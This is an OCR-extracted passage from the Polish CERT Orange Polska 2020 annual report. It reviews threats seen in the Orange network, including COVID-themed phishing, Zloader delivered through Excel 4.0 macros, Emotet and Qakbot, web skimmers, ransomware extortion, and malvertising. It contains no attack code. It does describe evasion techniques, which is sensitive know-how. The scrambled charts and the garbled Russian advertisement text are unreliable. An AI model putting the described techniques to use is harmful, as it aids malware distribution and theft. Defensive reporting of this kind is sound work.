serwerami C2. Co ciekawe, NetSupport Manager byt juz wczesniej wykorzystywany przez znang grupe hakeréw - TA505.

Barttomiej Zielinski

Drugi kwartat 2020

Koniec pierwszego kwartatu to poczatek wprowadzenia stanu
epidemiologicznego w Polsce. Wszyscy zostali zmuszeni,
zeby przystosowac sie do funkcjonowania w warunkach
spotecznej izolacji w sposéb mocno dynamiczny.

Fala strachu, ocierajgcego sie o panike niemalze z dnia na
dzien zaczynata przybiera¢ na sile, a ze okazja czyni ztodzieja
btyskawicznie pojawity sie pierwsze oszustwa i ataki

z COVID-emjako motywem przewodnim. Strach przed
zakazeniem, przekonanie o koniecznosci zrobienia niezbednych
zapasow zywnosci i Srodkéw czystosci, zapotrzebowanie

na maseczki byty idealnym punktem wyjscia dla oszustw,
wytudzen i kradziezy. A skoro zycie jeszcze bardziej niz zwykle
miato przenies¢ sie do sieci, przestepstwa podazyty za nimi.

Zaczeto sie od wytudzenia danych logowania do Facebooka,
czyli fatszywych reklam zalewajgcych nas sensacyjnymi
doniesieniami w sprawie koronawirusa. Aby wyswietli¢
faktyczng tre$¢ newsa, strona domagata sie dodatkowego
zalogowania, rzekomo w celu potwierdzenia tozsamosci

i weryfikacji wieku odbiorcow.

Podszywano sie pod wszystko. Od firm sprzedajacych
maseczki, Srodki czystosci czy nawet leki na COVID przez
mapy zakazen i aplikacje do monitorowania stanu zdrowia
po instytucje rzgdowe odptatnie oferujgce szczepienia

w pierwszej kolejnosci czy zapisy na program Tarczy
Antykryzysowej. Nawet charytatywne aukcje, na ktérych
zbierano $rodki na pomoc stuzbie zdrowia nie zostaty
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pominiete. Wszystko kofczyto sie jednak tak samo — badz

na kradziezy wptacanych w dobrej intencji pieniedzy, badz

na ztosliwym oprogramowaniu zainstalowanym na urzgdzeniu
nieSwiadomej niczego ofiary.

Przetom pierwszego i drugiego kwartatu zaowocowat réwniez
drastycznym wzrostem popularnosci aplikacji umozliwiajgcych
wykonywanie pracy z domu - narzedzi do zdalnego zarzgdza-
nia komputerem i programéw umozliwiajgcych prace grupowa
i przeprowadzanie wideokonferencji. Konsekwencje byly
nietrudne do przewidzenia. Narzedzia zdalnego zarzadzania,
czyli w skrocie RAT poza tymi legalnymi (takimi jak TeamViewer
czy AnyDesk) obrodzity w wersje zarzagdzane i dystrybuowane
przez cyberprzestepcdéw (Remcos,RMS,AmmyAdmin),

a systemy wideokonferencji oprécz licznych podszy¢ musiaty
zmierzy¢ sie z dynamicznym reagowaniem na kolejne raporty
btedoéw i podatnosci bezwzglednie wykorzystywanych przez
hakeréw w praktyce. Najwiekszym celem stat sie popularny
zoom.us, ktérego klony rejestrowane u operatoréw DNS
liczono w tysigcach. Warto jednak podkresli¢, ze liczne
podatnosci i wyrazne zaniedbania (brak poprawnie
wdrozonego szyfrowania E2E, mozliwo$¢ zdalnej kradziezy
haset domenowych via linki UNC) zostaty zaadresowane

nie tylko przez hakeréw czy badaczy bezpieczenstwa,

ale tez deweloperow i w konsekwenciji regularnie poprawiane.

Pandemia spowodowata, ze po przerwie do aktywnosci powra-
caty kolejne rodziny ztosliwego oprogramowania — Danabot,
Hancitor czy njRAT. Jednak to pojawienie sie Zloader-a
mozna okresli¢ najciekawszg kampanig drugiego kwartatu w
sieci Orange. Zloader aka Terdot to popularny Zeus Banker
dystrybuowany w formie loadera, ktéry po uruchomieniu

na staciji ofiary, pobiera, dostarcza i instaluje gtbwny modut
Zbot-a odpowiedzialny za ataki man-in-the-browser czyli
kradziez $rodkéw ptatniczych poprzez podmienianie wpi-
sywanych przez uzytkownika zainfekowanej stacji danych

na te zdefiniowane przez cyberprzestepcow. Wyparty na
przestrzeni lat przez inne trojany bankowe w tym Zeus Panda
Banker naturalnie ustgpit miejsca licznej konkurencji by
powrdci¢ z nowym otwarciem. Tyle, ze nie catkiem. Zloader,
a raczej Silent Night jak okreslili go sami autorzy to zupetnie
nowe, cho¢ wyraznie czerpigce z kodu zrédtowego Terdota,
zagrozenie. Rozwijany regularnie i dynamicznie (zalicza kilka
aktualizacji w miesigcu) w modelu malware-as-a-service,
wzbogacony o lepsze techniki utrudniajgce wykrycie w
trakcie analizy sandboxowej, nowy algorytm DGA, a takze
zaciemnienie fancucha znakdéw stringdw zaliczyt udany debiut
i do samego konca roku nie znikat z mapy zagrozen wykry-
wanych w polskiej sieci. Gtéwna przyczyna takiego stanu
rzeczy byto umiejetne wykorzystanie datujgcych na rok 1992
funkcjonalnos$ci makr Excel 4.0 (XLM) do ukrycia i wykonania
skryptu inicjalizujgcego pobranie i uruchomienie ztosliwego
oprogramowania na stacji ofiary, w sposoéb z poczatku prak-
tycznie niewykrywalny przez zadne dynamiczne silniki analizy
malware’u.

Na czym polega jego efektywnos$¢ i czym XLM rézni sie od
nowszego VBA? Makra Excel4.0 sg natywng funkcja Excela
wykorzystywang przez legalne aplikacje, a odpowiadaja za
wykonywanie podstawowych funkcji w obrebie arkusza kalku-
lacyjnego przez co nie ma mozliwosci ich prewencyjnego
zablokowania. Same za$ ataki z wykorzystaniem tej techniki
na duzg skale nie byty zidentyfikowane przed rokiem 2020.

W chwili wybuchu pierwszych kampanii nie dysponowano
$rodkami na ich wykrywanie lub umiejetne blokowanie

w sposéb analogiczny do nowszych, regularnie utylizowanych
technik opartych na VBA. W ten sposo6b do arkuszy kalku-
lacyjnych trafit kod, wykonywany wewnatrz poszczegdinych
wierszy. Sama technika stale przechodzi ewolucje.

W pierwotnej wersji makro byto mozliwe od odczytania

z poziomu uruchomionego arkusza excel, a kod zawarty

w poszczegdlnych wierszach byt napisany czystym tekstem.
Ale z ataku na atak, wprost proporcjonalnie do czasu,

w ktérym analitycy bezpieczenstwa uczyli sie wykrywania
atakow, w sieci pojawiata sie nowa wersja wzbogacona juz
o techniki zaciemniania, mechanizmy ukrywania formularza
z makrem czy funkcje wykorzystujgce WinAPI do zatadowania
bibliotek DLL wykorzystywanych w drugiej fazie infekcji.
Excel 4.0 dla cyberprzestepcow okazat sie godng uwagi
alternatywa dla makr VBA, a précz Zloadera jeszcze w tym
samym kwartale w ten sposob zaczety by¢ dystrybuowane
AgentTesla, Danabot, Trickbot czy Ursnif.

W przypadku drugiego kwartatu warto wspomnie¢ takze
o licznych wyciekach danych polskich firm i instytucji.
Praktycznie od marca przynajmniej kilka razy w miesigcu
w branzowych mediach pojawiaty sie informacje o wyciekach
w kolejnych podmiotach. Zaczeto sie od bazy 260 tysiecy
klientow firmy pozyczkowej MoneyMan, a potem przyszta
kolej na sklepy Exerion.pl, Cyfrowe.pl, zippo.pl Decathlon,
sieci aptek Gemini, dostawcy energii elektrycznej Fortum,
a nawet bazy Krajowej Szkoty Sgdownictwa i Prokuratury.
W wyniku ataku do sieci trafity takze dane studentéw
Politechniki Warszawskiej, a dwie kolejne uczelnie SWPS
i Collegium da Vinci padty ofiarg ataku ransomware.
Oczywiscie pandemia sprzyja bardziej atakujgcym niz
ofiarom. Budowane niejednokrotnie w pospiechu,
rozwigzania dostepu zdalnego dla pracownikéw budza
wiele zastrzezen, jednak nie wszystkie wycieki mozemy
przypisaé nieautoryzowanym dostepom oséb trzecich.

W gre wchodzg takze zaniedbania, btedy ludzkie

czy brak wtasciwej $wiadomosci osdb zarzgdzajgcych
lub przetwarzajgcych dane osobowe swoich klientow

lub partneréw biznesowych.

Trzeci kwartat 2020

Trzeci kwartat, czyli okres wakacyjny, rowniez zostat
zaburzony przez koronawirusa. Cho¢ zwykle liczba
incydentéw znaczgco maleje, tym razem réznice miedzy
tym a pozostatymi kwartatami zatarty sie i mocno
wyptaszczyty, a aktywnosé cyberprzestepcdw ciagle
utrzymywata sie na wysokim poziomie.

Co prawda liczba aktywnych w trzecim kwartale zidentyfi-
kowanych rodzin ztosliwego oprogramowania spadta o okoto
20% w pordwnaniu z rekordowym wynikiem poprzedniego
kwartatu, ale nie oznacza to wcale, ze w sieci nie pojawiaty
sie nowe zagrozenia, albo gtosne powroty. Najistotniejszym
z nich byt powrét zesztorocznego lidera wsrdéd malware’u
skierowanego na rynek nie tylko komercyjny, czyli Emoteta.

Po kilku miesigcach braku aktywnosci grupa przestepcza
TA542 (aka MummySpider) przypomniata o sobie
wprowadzajagc do sieci swdj flagowy produkt w nowych
kampaniach malspamowych. Kolejny powroét wigzat sie

z uaktualnieniem technik i metod dystrybucji, a takze nowym
partnerem w taicuchu dostarczania ztosliwego oprogramo-
wania — Qakbotem. Cho¢ w sieci Orange identyfikowali$my
infekcje Emotetem, prowadzgce do pobrania TrickBota,
przewazaty zdarzenia z Qbotem w roli gtéwnej. Trudno tutaj
doszukiwac sie jaki$ wewnetrznych konfliktow, a raczej
kolejnej oferty wspdtpracy miedzy rosyjskojezycznymi

43



Raport CERT Orange Polska 2020

Card Skimming w dobie pandemii...

Wraz z koficem pierwszego kwartatu 2020 r. zaobserwowany zostat wzrost atakéw sieciowych z wykorzystaniem web
skimmerow, czyli ztosliwego kodu osadzonego na stronach ptatnosci internetowych. Atak skierowany byt gtéwnie na branze
e-commerce, a w szczegdlnosci w sklepy internetowe swiadczace sprzedaz on-line. Wzrost tego typu incydentow,

jak wszyscy sie pewnie domyslaja, spowodowany byt Swiatowym lockdownem wynikajacym z trwajacej pandemii.

Handel i zwigzane z nim transakcje przeniosty sie do Internetu, co okazato sie takomym kaskiem dla cyberprzestepcow.

Ciekawym znaleziskiem byt skimmer wystepujacy w postaci JavaScriptu, ktéry podszywat sie pod legalng biblioteke
CloudFlare - Rocket Loader uzywang do poprawy czasu tadowania strony. Atakujacy stworzyli niemal identyczna replike,
rejestrujgc przy tym specjalnie spreparowang nazwe domeny http[.]ps, aby jeszcze bardziej upodobni¢ sie do oryginatu.
Oczywiscie, podczas analizy kodu Zrédtowego tatwo stwierdzi¢, ze byty to dwa catkiem rézne skrypty. Jeden z nich posiadat
zaciemniong wersje kodu, podczas gdy drugi byt rozpoznawalny jako legalna biblioteka CloudFlare’a.

Innym, nie mniej interesujgcym incydentem wykrytym w maju 2020 roku, byt skimmer podszywajacy sie pod favicon, czyli
ikony znajdujace sie obok adresu w pasku przegladarki stuzace do identyfikacji witryny. Na potrzeby ataku stworzona zostata
strona, rzekomo oferujgca tysigce obrazéw i ikon do pobrania, ktdra w rzeczywistosci posredniczyta w operacji kradziezy
danych z kart kredytowych. Co istotne, zawartos$¢ strony byta w petni skradziona z innej, legalnej witryny. W trakcie zakupdw
on-line na zainfekowanej stronie serwer, zamiast wyswietla¢ obrazek, zwracat fatszywy panel ptatnosci kartg kredytowa.
Zawartos$¢ strony byta tadowana dynamicznie tak, aby zastgpi¢ legalng opcje ptatnosci PayPal.

Najwieksza fala atakdw z wykorzystaniem web skimmeréw przypadta na jesien 2020 r. To wiasnie wtedy miaty miejsce
masowe ataki, ktorych celem byly sklepy internetowe wykorzystujgce niewspierane juz oprogramowanie Magento 1. Klienci
korzystajacy z ptatnosci na zainfekowanych witrynach internetowych byli narazeni na utrate wrazliwych danych. Catg
operacje przypisuje sie grupie cyberprzestepczej, znanej jako Magecart Group 12. Jedng z najwiekszych ofiar tego ataku
okazat sie miedzynarodowy sklep Costway prowadzacy dziatalno$¢ w wielu krajach na catym $wiecie, réwniez w Polsce.

Mozemy spodziewaé sie, ze aktywnos$¢ skimmingu w sieci bedzie wzrasta¢ w najblizszych miesigcach. Popularnos$¢
zakupow on-line, uksztattowana podczas lockdownu, zostanie z nami na dtugo.

Barttomiej Zielinski

grupami. Zwtaszcza, ze ta okazata sie niezwykle udana.

Powrdt Emoteta zarejestrowali$my mniej wiecej w potowie lipca.

Na skrzynkach nieszczesliwych wybrancow, znéw pojawity sie

wiadomosci przypominajgce kolejng odpowiedz na tres¢ 0
autentycznej konwersacji, wykradzione w poprzednich 1 5 / ()
kampaniach, a teraz uzyte przeciwko pozostatym stronom

rozmowy. Réwnolegle w celu poszerzenia zasiegow

Najczesciej wystepujace zdarzenia
w trzecim kwartale 2020 roku

realizowane byty kampanie mailowe (najczesciej konstruowane 1 1 0/0
w naszym ojczystym jezyku) podszywajace sie pod znane o
marki badZ wykorzystujace przewodni temat koronawirusowy 1 0 /0

do oszukiwania swoich celow.

Eksperymentowano takze z metodami dostarczenia

skryptu inicjujgcego pobranie i egzekucje wtasciwego kodu. 50/0
Wspominali$my juz o wykorzystaniu makr Excel 4.0, jednak

wieksza czes$¢ kampanii opierata sie w dalszym stopniu na

I
X

plikach w Wordzie. Jednak dopiero plik wykonywalnym byt 30/0 20, D0/ DO/
tym, nad czym developerzy z TA542 spedzili najwiecej czasu. o o o
Pierwsza zmiang w module loadera byto ukrycie podejrzanych l l l
zapytan APICall w stringach, a druga wymieszanie ztosliwego
payloadu z kodem absolutnie niegroznym i nieuzytecznym = a4 = e = = o
w celu oszukania systemdw bezpieczenstwa analizujgcych .g 3 2 B‘ _8 < 9 .8 2
[e) o ©
statycznie zawarto$é poszczegdlnych sekcji wykonywalnych = T £ 2 & 3 § & 8
plikéw. Sam Shellcode réwniez wzbogacono o dodatkowe E 9 L § 8 g ':E 8 ”:’
techniki omijajgce wykrycie, jak cho¢by wypetnienie sekcji 5 e E 2 ¢ £ 3 ¢ Z
nagtéwka DOS zerami w miejscu, gdzie domysinie powinien =] g o m % S S % S
kry¢ sie identyfikator rozszerzenia pliku. = = g’ N F
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Ransomware czyli kras¢ i szyfrowac - kolejna mata ewolucja modelu biznesowego.

To juz drugi rok, kiedy aktywno$¢ ransomware w sieci Orange nie stanowi nawet jednego procenta wszystkich wykrywanych
zdarzen powigzanych ze ztosliwym oprogramowaniem. Infekcji przytrafia sie niewiele, a jesli nawet jakies sie pojawig nie sg one
efektem celowanych kampanii, a poktosiem infekcji innym ztosliwym oprogramowaniem, ktére niejako w pakiecie dostarczy na
koncowe urzadzenie réwniez oprogramowanie szyfrujace pliki z pozostawionym zadaniem okupu. Dlaczego urzadzenia zwyktych
uzytkownikdw przestaty by¢ atrakcyjne dla cyberprzestepcéw? Z uwagi na pienigdze. To, ze grupy przestepcze dziatajg jak
dobrze funkcjonujgce przedsiebiorstwa jest wiadomym nie od dzis. Nie dziwi wiec, ze podobnie jak kazda firma, réwniez oni
przeprowadzajg analizy rynku i prébuja obliczy¢ efektywnos¢ przeprowadzanych dziatan i kampanii, wyciagajac wnioski i uczac
sie na btedach. Ransomware w poréwnaniu z innym zagrozeniem jakie moze trafi¢ na komputer przecietnego uzytkownika jest
zwyczajnie nierentowny. Nie do$¢, ze cena okupu musi by¢ odpowiednio dobrana do jego portfela to jeszcze sama trudnosé
sprawi¢ moze napisanie instrukcji wykonania wptaty w BTC zrozumiatej dla ofiary w kazdym wieku i stopniu technologicznego
zaawansowania. Oprdcz tego wiele waznych danych uzytkownicy integruja z chmurowymi kontami Apple’a czy Google’a,
czyniagc ich przywrdcenie absurdalnie prostym. Z kazdg kolejng ofiarg, analitycy i badacze bezpieczenstwa zwiekszajg swoje
szanse na skuteczne wykrycie, dostosowanie mechanizméw prewencji, a nawet rozpracowanie algorytmu uzytego do zaszy-
frowania danych ofiary, co wymusza dodatkowa prace i nieplanowa przerwe w zarabianiu pieniedzy.

Z ekonomicznego punktu widzenia — ataki wymierzone w rynek komercyjny zwyczajnie sie optacaja. Ciagtos¢ dziatania

jest wpisana w interes wiekszosci firm, a utrata dostepu do czesci lub catosci wrazliwych danych moze narazi¢
przedsiebiorstwo na straty przekraczajgce warto$¢ proponowanego przez przestepcow okupu - zwykle dobrze
dopasowanego do skali i deklarowanego majatku firmy. Dowodzi to dobrej znajomosci rynku, jaka charakteryzuje wiekszos$é
atakujgcych. Nic dziwnego, ze na przestrzeni 2020 roku odnotowano coraz liczniejsze przypadki zgdan okupu nie tyle

za odszyfrowanie danych, ale przede wszystkim za ich nieupublicznienie. W koncu, jesli co$ moze bole¢ biznes bardziej

niz utrata ciggtosci dziatania, to jest to wysoka kara finansowa, pozwy zbiorowe klientéw. O nadszarpnieciu reputacji i zaufania
juz nie wspomne. Kradziez danych to zresztg nie tylko sposéb na wzmocnienie pozyciji przetargowej w egzekwowaniu zapfaty,
ale takze zabezpieczenie w przypadku kiedy firma ma przetestowane i dobrze zaimplementowane procedury backupu

oraz przywracania systemoéw z kopii zapasowych. Jest to tez metoda na dodatkowe ,,ukaranie” nieskorych do wspétpracy
korporacji i narazenie ich na dalsze straty. Zwtaszcza, ze infekcje typu ransomware znajdujg sie na koncu tarncuchéw

atakéw przeprowadzanych z uzyciem innego ztosliwego oprogramowania w roli gtéwnej.

W Polsce rok 2020 przynidst dziesigtki odnotowanych wyciekdw danych, cho¢ tylko kilka z nich w swoich o$wiadczeniach
przyznato sie otwarcie do ataku z Zgdaniem okupu w tle. Co jasne, publikowanie szczegdtowych przyczyn wycieku nie lezy
zwykle w interesie poszkodowane;j firmy, zatem komunikaty o nieautoryzowanym dostepie 0so6b trzecich lub btedzie ludzkim
nie powinny nikogo dziwié. Wedle prawa Administrator Danych Osobowych ma wprawdzie obowigzek zgtoszenia do UODO
przypadkéw zaszyfrowania danych (nawet w przypadku niezidentyfikowania wycieku), ale nie przektada sie to na liczbe
oficjalnych informacji przekazywanych do wiadomosci publicznej. Kto wie (poza UODO oczywiscie) ile z odkrytych wyciekow
byto wiasnie efektem nowego modelu biznesowego obranego przez cyberprzestepcéw?

Piotr Kowalczyk

S'Iedzac historie i pojawiajace sie funkcjonalnosci Model komunikac;ji sieciowej rowniez odzwierciedla
Qakbota, nietrudno dostrzec wyrazng analogie do bardziej w zatozeniach architekture Emoteta. Od zbieznosci
popularnego Emoteta. Qakbot, ktéry podobnie jak wykorzystywanych do potaczen portéw, na Proxy Botach,
Emotet byt pierwotnie trojanem bankowym wstrzykujgcym odpowiedzialnych za posrednictwo w komunikaciji z zain-
ztosliwy kod do przegladarki w celu ,,przechwycenia” sesji fekowanymi hostami koriczgc. Brzmi znajomo? Powinno.

uzytkownika z serwisem bankowym, w 2020 roku przeszedt = Czas pokaze co jeszcze podchwyca od ,wiekszego brata”.
prawdziwa ewolucje. Jego funkcjonalnosci wzbogacity sie
o znane z Emoteta moduty umozliwiajgce wykradanie haset, Obok Emoteta swojg wzmozong aktywnos¢ wykazywaty

portfeléw BTC czy danych kart kredytowych, a takze te infostealery i RAT-y. Trzeci kwartat odnotowat kampanie
pozwalajgce instalowa¢ dodatkowe oprogramowanie (w Netwire’a (podszycia pod PKO BP), Androidowego Cerberusa
tym ransomware). Najciekawszym modutem jest jednak (kampanie podszy¢ pod Inpost), a takze Formbooka (tutaj

Email Collector wykradajacy wiadomosci mailowe z klienta  juz phishing bardziej generyczny) czy AgentaTesli (z uzyciem
pocztowego ofiary i wysytajacy je na adres zdefiniowanego  watkdw okoto COVID-owych).

w kodzie serwera. Takie wiadomosci, wykorzystywane

potem jako podstawa do kolejnych atakéw phishingowych,  Ale nie tylko ztosliwe oprogramowanie stanowito zagrozenie

oprocz ztosliwego dokumentu mogty zosta¢ wzbogacone dla polskich internautéw. Oszusci tworzyli domeny

o autentyczne zatgczniki uzyte w konwersacjach, aby podszywajace sie pod polskie banki, zwabiajgc na nie
nadaé oszustwu wiecej autentycznosci. Z techniki tej internautéw z wykorzystaniem mechanizmu pozycjonowania
jako pierwszy zaczat korzystaé Emotet, ale nie ulega stron w silniku wyszukiwarki Google. Mechanizm ten
watpliwosci kogo i co autorzy Qakbota obrali za wzér. sprawiat, ze uzytkownik prébujac wej$¢ na strone z poziomu
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wyszukiwarki, nieswiadomie to wiasnie witryne oszusta miat
spozycjonowang jako te domysing i wtasciwg. Phishingu nie
brakowato réwniez w mediach spotecznosciowych, zwtaszcza
na Facebooku. Gtéwnym celem podszy¢ byto tym razem Alle-
gro, a wytludzenia dotyczyly zaréwno rzekomego rozdawnict-
wa taniej elektroniki, jak i ofert aktywacji darmowych ustug.

A jesli juz o rozdawnictwie mowa warto odnotowac cichy, acz
stopniowy wzrost liczby kampanii malvertismentowych, ktére
poprzez fatszywe reklamy z ofertami atrakcyjnych nagréd
naktaniaty ofiary wytacznie do pokrycia kosztéw transportu za
prezent, jednoczesnie obcigzajgc karte kredytowa ofiary statg
subskrypcja z reguty przekraczajgcg 200 PLN miesiecznie.
Rzecz jasna pod wytudzony adres wysytki nagroda nie trafiata.

Czwarty kwartat 2020

Podsumowanie czwartego kwartatu zamykajgcego rok 2020
musi zaczgé sie od jednego z najwiekszych atakow hakerskich
od lat (a przynajmniej od czasu WannaCry). Chodzi mianowicie
o skuteczny atak przeprowadzony na firme SolarWinds,

ktorej platforma jest wykorzystywana do zarzadzania i moni-
torowania infrastruktury klientéw wsrdd ktérych znalazty sie
sity zbrojne USA, NASA, NSA, Biaty Dom, Secret Service,

a takze wielu innych potentatéw praktycznie z kazdej mozliwej
do skojarzenia branzy czy sektora ustug (Fireeye, Microsoft,
Intel, Cisco, Nvidia, VMware, Belkin itd.). Wedtug o$wiadczen
samego SolarWinds wynika, ze petna liczba potencjalnych
ofiar, ktéra w paczce z aktualizacjg oprogramowania
SolarWinds Orion wpuscita do swojej infrastruktury ztosliwe
oprogramowanie moze liczy¢ nawet 18 tysiecy korporacji.

Do samego ataku doszto na kilka miesiecy przed jego
inicjalnym odkryciem, ktérego dokonat autor oficjalnego
raportu opisujacego incydent i zarazem jedna z jego ofiar

- firma z sektora bezpieczenstwa IT- Fireeye. Do lektury
raportu i $ledzenia kolejnych ujawnianych informacji na temat
dokfadnego przebiegu ataku, a zwtaszcza jego reperkusiji,
serdecznie zachecamy.

A co dziato sie w Polsce? W dalszym ciggu aktywna byta
kampania Emoteta i niejako w tandemie réwniez Qakbota.
AgentTesla przypomniat o sobie w mailach poszywajacych

sie po raz kolejny pod PKO BPOszustwa poprzez znane

juz z poprzednich kwartatéw podszycia via Facebook, malspam
i smishing, poza stronami wytudzajgcymi dane logowania

czy numery kart ptatniczych, coraz czesciej prowadzity

do instalacji trojandéw bankowych na smartfonach ofiary.

Warto odnotowac takze wzrost aktywnosci dwéch rodzin
ztosdliwego oprogramowania —njRAT i Dridexa. Aktywnos$¢
njRAT-a w sieci Orange rejestrowali§my od poczatku roku,
ale to dopiero czwarty kwartat wynidst go na liste najczesciej
wystepujacych zdarzen na przestrzeni ostatnich trzech
miesiecy. Zwiekszenie aktywnosci splotto sie z wykorzysta-
niem przez jego twoércow ustugi Pastebin do przechowy-
wania, zakodowanego w réznej postaci ztosliwego payloadu.
Nastepnie dostarczane w kampaniach spear-phishingowych
skrypty pobieraty go, dekodowaly i instalowaty w petni
funkcjonalnego RAT-a. na stacji koricowej. Jako ze ustuga
Pastebin jest w petni legalna i powszechnie wykorzystywana,
jej zablokowanie nie jest realizowane, a statyczna analiza
samych linkow (pastebin uzywa funkcji skracania urli)
niczego nie wnosi.
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Drugi aktor — Dridex to trojan bankowy autorstwa grupy TA505
(aka Evil Corp) powigzanej takze z ransowmarem o nazwie
BitPaymer lub Friedex, ktéry jak wiekszo$¢ opisywanych
Trojandw bankowych na przestrzeni lat wzbogacit sie

o funkcje wykraczajgce poza ramy definicji. W kilku
analizowanych przez nas probkach, Dridex wyposazony

byt takze w toolkity Empire i PsExec wykorzystywane do préb
przejecia kontrolera domeny i propagacje ztosliwego kodu

na inne osiggalne po Netbiosie stacje.

W ubiegtym roku miatem okazje przyblizyé nieco mechanizmy
dziatania pay-per-click i monetyzacji ptynacej z reklam, ale
précz zarabiania na generowaniu ruchu czy kliknie¢ istnieja tez
analogiczne procesy bazujgce na instalacji optaconego przez
kontrahenta softu na urzadzeniach koricowych odbiorcow.
Proceder ten to oczywiscie pay-per-install, w ktérym
sprzedawcy maja ptacone ,,od sztuki”.

Jak zatem na tym zarobi¢? To proste. Trzeba zacza¢ od
zbudowania adware‘u, czyli potencjalnie niegroznego opro-
gramowania, czesto doklejonego do instalacji innego softu.
Wiekszos$¢ z takich PUP-6w (Potentially Unwanted Programs)
czerpie zysk z wyswietlania reklam, ale nierzadko zdarzaja sie
i takie, ktére idg krok dalej — przeistaczajgc sie praktycznie

w sie¢ Botnetdw, czesto ignorowanych przez filtry mecha-
nizmow cyberbezpieczenstwa z uwagi na niska krytycznosé
zdarzen adware’owych jakg powszechnie nadajg im systemy
zabezpieczen.

Sam proces ma wzglednie niski prog wejscia. W tej
ciemniejszej stronie sieci sg do znalezienia poradniki

i instrukcje jak przeprowadzi¢ catg kampanie, od
przygotowania paczki, opartej na prostym w obstudze
narzedziu InstallCapital, po konfiguracje WordPressowego
dodatku prowadzacym do pobrania spreparowanej probki.
Kiedy juz niechciane oprogramowanie znajdzie sie na
staciji, faczy sie do reputacyjnie legalnej domeny, na ktérej
przechowywane sg aktualne oferty i kryteria klientéw

(z linkami do wykonywalnych plikdw wigcznie). Potem
wystarczy juz tylko czeka¢ na wynagrodzenie.

Taki mechanizm okazat sie wygodny dla autoréw ztosliwego
oprogramowania z przynajmniej kilku powodéw. Pierwszg
zaletg jest sam opér uzytkownika przed zgtoszeniem
problemu. W koricu program, ktéry pobierat najczesciej bywat
nielegalna/scrackowang wersjg softu $ciagnieta z roznych
warezowych zasobdéw. Drugg — brak potrzeby przeprowadzania
pierwszej fazy ataku. A trzecig mniejsza wykrywalno$¢ przez
silniki bezpieczenstwa. Od poczatku roku z tego modelu
biznesowego korzystata Glupteba (malware wykorzystujacy
zasoby stacji m.in. do kopania kryptowalut), a takze Dreambot
(TOR-owa hybryda Ursnif-a) czy infostealery pokroju Vidar-a,
a przede wszystkim Raccoon-a. Raccoon Stealer zastuguje
na szczeg6lne wyrdznienie, bo dla zdecydowanej wigkszosci,
jesli nie catosci powigzanych z tym malwarem zdarzen
wektorem ataku byt wtasnie malvertisment i adware. Pomimo
obrania nietypowej dla malware‘u metody dystrybucji byt
zaraz za Lokibotem i Formbookiem najczesciej wystepujgcych
stealerem w sieci Orange Polska.

Zamkniecie roku w sieci Orange to takze wzrost
malvertismentu. Wykorzystywanie fatszywych reklam

Najczesciej wystepujace zdarzenia w czwartym
kwartale 2020 roku
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i petli przekierowan do przerzucenia ruchu uzytkownika przez
strone wykorzystujgcg podatnosci przegladarki do instalaciji
ztosliwego oprogramowania, z roku na rok maleje, ale nie
powstrzymuije to cyberprzestepcéw od préb odwrdcenia
tego trendu. Najbardziej popularnym zagrozeniem z tej grupy
byt Malsmoke — malvertising wykorzystujgcy FalloutEK do
instalacji SmokelLoadera — downloadera, ktéry po trafieniu
na stacje infekowat jg stealerami do wykradania haset czy
portfeli kryptowalut — Raccoon-em i Vidar-em. W pierwszym
podejsciu, zdajac sobie sprawe z ograniczen (java

i flashplayer wykorzystywane przez paczki Exploit Kitow

nie sg juz obstugiwane przez wiekszo$¢ przegladarek),
malsmoke poszedt na ilo$¢, umieszczajgc ztosliwe reklamy

na stronach popularnych serwiséw z tre$ciami dla dorostych,
generujacych setki milionéw odwiedzin miesiecznie.
Z drugim podejsciem przyszta takze jakos$¢.

Co wiasciwie przyniosto zmiane? Zamiast trwaé przy

starych nieprzynoszacych juz pozadanych efektow technikach,
stojgcy za malsmokiem przestepcy zdecydowali sie na ataki

z socjotechnika w tle. Spragniony wrazen uzytkownik jednego
z portali XXX po odpaleniu trefnej reklamy przekierowywany
byt na spreparowang strone, na ktérej wyswietlat sie kawatek
pornograficznego filmu. Film urywat sie po kilku sekundach,

a oczom uzytkownika ukazywat sie komunikat o btedzie

w odtwarzaniu i koniecznosci instalacji nowej wersji Javy,

z gotowym przyciskiem do pobrania pomocnego dodatku.

Po uruchomieniu fatszywy-plugin dociggat na stacje malware
(gtéwnie omawianego juz wczesniej Zloadera, a takze stealery
uzywane w poprzednich kampaniach roku 2020.)

Podsumowanie roku 2020
w sieci stacjonarnej

Rok 2020 byt rokiem bez watpienia unikalnym, ale na pewno
nie przefomowym. Na przestrzeni ostatnich 12 miesiecy

nie upubliczniono zadnej krytycznej podatnosci, ktéra
wstrzgsnetaby swiatem cyberbezpieczenstwa. Nie odnotowano
tez zadnego spektakularnego ataku, ktory uksztattowatby

na nowo postrzeganie bezpieczenstwa (konsekwencje
incydentu w SolarWinds z grudnia przetozenie mie¢ beda

na nastepny rok). Ale i tak byto ciekawie.

Po raz kolejny na szczycie zagrozen uplasowaly sie zdarzenia
z kategorii Adware i Malvertisment, cho¢ kampanie z ich
wykorzystaniem ulegty lekkiemu przeobrazeniu (zanikajace
wykorzystanie exploit kitéw, szersza dystrybucja ztosliwego
oprogramowania).

W hierarchii ztosliwego oprogramowania tez nie zaobserwo-
wali$my znaczgcego przetasowania. Emotet - cho¢ juz

nie tak spektakularnie jak w roku ubiegtym, nadal pozostat
jednym z najpowszechniej spotykanych malware’éw
dystrybuowanych w Polsce w wiadomosciach mailowych.
Czes¢ zagrozen ze szczytu wypadta, inna jak choéby
AgentTesla na ten szczyt sie wspieta. Do nowych zagrozen,
ktére pojawity sie w naszych zestawieniach nalezy zaliczy¢

Raccoon Stealer. We steal, You deal!

RACCOON
STEALER

Hawa koManaa € ropAocTEI NPEACTARNAET BaM PEIYNLTAT CHOEH MHOMOMECAYHON paboTel.
Ewe vurorga npoyecc Aobuidmn NOron He Guin TAK NEroK M HHTYMTHBMO NOHATEM. A COPTHPOBKA HACTONLKO BLICTPOR M YAOGHOR. Mel BannK Ha

cebr Bce py pab Thi, KOTOPHIE TRATHAK BAWE APArOUEHHOE BP: W HEp c Pnp ThCR Ha
= Ha Yy npuBsLnun.
Mowmo 3a6Te Npo Gecyncnennoe C W np c y G W BCE C € 3TMM XNONOTe. Teneps Npouecc
Thio ¥ AHWE CAENaTE KO oM

Hawm cneynanucTs BenM napannensHyr paipaoTuy no Tpem wanpasnenwam: Software, Front-end, Back-end. 31o np e
CHOKYCHPOBATHCA Ha KOHKPETHBIX 3JA0A4AX W NOAYYHATE Ha GMHAWE BOECTOPONKE NPOP H npoaykT.

47



Raport CERT Orange Polska 2020

Raport CERT Orange Polska 2020

